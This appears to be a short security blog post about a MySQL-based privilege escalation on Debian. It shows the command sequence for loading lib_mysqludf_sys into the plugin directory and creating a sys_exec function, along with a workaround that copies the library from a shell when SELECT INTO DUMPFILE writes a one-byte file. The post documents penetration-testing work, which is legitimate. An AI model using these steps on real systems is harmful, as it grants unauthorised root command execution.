After hours, Cyber Security November 10, 2021 0

MySQL Error “file too short” when creating sys_exec function

I’ve recently encountered an interesting error “file too short” when escalating privileges on a Linux box via MySQL Library (lib_mysqludf_sys_64.so).

mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so'));

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_64.so' (errno: 11 /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so: file too short)

Turned out that “SELECT … INTO DUMPFILE” clause did not write a library properly into plugins’ directory in “/usr/lib/mysql/plugin/” (the file size is 1)

ls -la /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so
-rw-rw-rw- 1 root mysql 1 Nov 10 13:08 /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so

Solution: MySQL is running as root so we can try to copy the file manually via breaking into a shell

mysql> \! cp lib_mysqludf_sys_64.so /usr/lib/mysql/plugin/

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
Query OK, 0 rows affected (0.00 sec)

Some more details

- Database version MySQL 5.7.30 
- mysql process is running as a root
- OS: Debian 9.12 (stretch) x86_64

Cheers!!

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close